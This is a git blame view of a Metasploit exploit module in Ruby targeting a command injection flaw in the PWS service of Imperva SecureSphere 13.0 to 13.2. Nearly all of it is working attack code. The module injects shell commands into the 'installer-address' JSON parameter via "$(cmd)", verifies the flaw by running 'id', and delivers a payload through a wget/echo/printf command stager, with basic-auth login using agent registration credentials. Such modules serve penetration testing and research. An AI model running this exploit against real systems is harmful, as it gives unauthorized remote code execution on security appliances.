Files
metasploit-gs/modules/exploits/linux/http/imperva_securesphere_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

135 lines
3.8 KiB
Ruby
Raw Normal View History

2019-01-07 22:18:04 -08:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2019-01-08 20:07:35 -08:00
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
2019-01-07 22:18:04 -08:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Imperva SecureSphere PWS Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in Imperva
SecureSphere 13.x. The vulnerability exists in the PWS service,
where Python CGIs didn't properly sanitize user supplied command
parameters and directly passes them to corresponding CLI utility,
leading to command injection. Agent registration credential is
required to exploit SecureSphere in gateway mode.
This module was successfully tested on Imperva SecureSphere 13.0/13.1/
13.2 in pre-ftl mode and unsealed gateway mode.
),
'License' => MSF_LICENSE,
'Author' =>
[
'rsp3ar <lukunming<at>gmail.com>' # Discovery/Metasploit Module
],
'References' =>
[
[ 'EDB', '45542' ]
],
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2018-10-08',
'DefaultOptions' => {
'SSL' => true,
'PrependFork' => true,
},
2019-01-08 20:07:35 -08:00
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => %w{ echo printf wget },
'Targets' =>
2019-01-07 22:18:04 -08:00
[
['Imperva SecureSphere 13.0/13.1/13.2', {}]
],
2019-01-08 20:07:35 -08:00
'DefaultTarget' => 0))
2019-01-07 22:18:04 -08:00
register_options(
[
2019-03-05 21:37:55 -06:00
Opt::RPORT(443),
2019-03-05 21:57:42 -06:00
OptString.new('USERNAME', [false, 'Agent registration username', 'imperva']),
OptString.new('PASSWORD', [false, 'Agent registration password', '']),
2019-01-07 22:18:04 -08:00
OptString.new('TARGETURI', [false, 'The URI path to impcli', '/pws/impcli']),
OptInt.new('TIMEOUT', [false, 'HTTP connection timeout', 15])
2019-01-07 22:18:04 -08:00
])
end
2019-03-05 21:37:55 -06:00
def check
begin
res = execute_command('id')
rescue => e
vprint_error("#{e}")
return CheckCode::Unknown
end
2019-01-07 22:18:04 -08:00
2019-03-05 21:37:55 -06:00
if res.body =~ /uid=\d+/
return CheckCode::Vulnerable
end
2019-01-09 21:07:01 -08:00
2019-03-05 21:37:55 -06:00
CheckCode::Safe
end
2019-01-07 22:18:04 -08:00
2019-03-05 21:37:55 -06:00
def exploit
print_status("Sending payload #{datastore['PAYLOAD']}")
execute_cmdstager
2019-01-07 22:18:04 -08:00
end
2019-01-08 20:07:35 -08:00
def execute_command(cmd, opts = {})
2019-01-07 22:18:04 -08:00
data = {
'command' => 'impctl server status',
'parameters' => {
'broadcast' => true,
'installer-address' => "127.0.0.1 $(#{cmd})"
}
}
res = send_request data
2019-03-05 21:37:55 -06:00
return unless res
2019-01-07 22:18:04 -08:00
2019-03-05 21:37:55 -06:00
if res.code == 401
fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
2019-01-07 22:18:04 -08:00
end
2019-03-05 21:37:55 -06:00
unless res.code == 406 && res.body.include?("impctl")
fail_with(Failure::Unknown, 'Server did not respond in an expected way')
2019-01-07 22:18:04 -08:00
end
2019-03-05 21:37:55 -06:00
res
2019-01-07 22:18:04 -08:00
end
2019-03-05 21:37:55 -06:00
def send_request(data)
req_params = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'data' => data.to_json
}
2019-03-05 21:57:42 -06:00
if !datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
2019-03-05 21:37:55 -06:00
unless @cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/')
})
unless res
fail_with(Failure::Unreachable, "#{peer} - Connection failed")
end
@cookie = res.get_cookies
2019-01-07 22:18:04 -08:00
end
2019-03-05 21:37:55 -06:00
req_params['cookie'] = @cookie
req_params['headers'] = {
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
}
2019-01-07 22:18:04 -08:00
end
2019-03-05 21:37:55 -06:00
send_request_cgi(req_params, datastore['TIMEOUT'])
2019-01-07 22:18:04 -08:00
end
end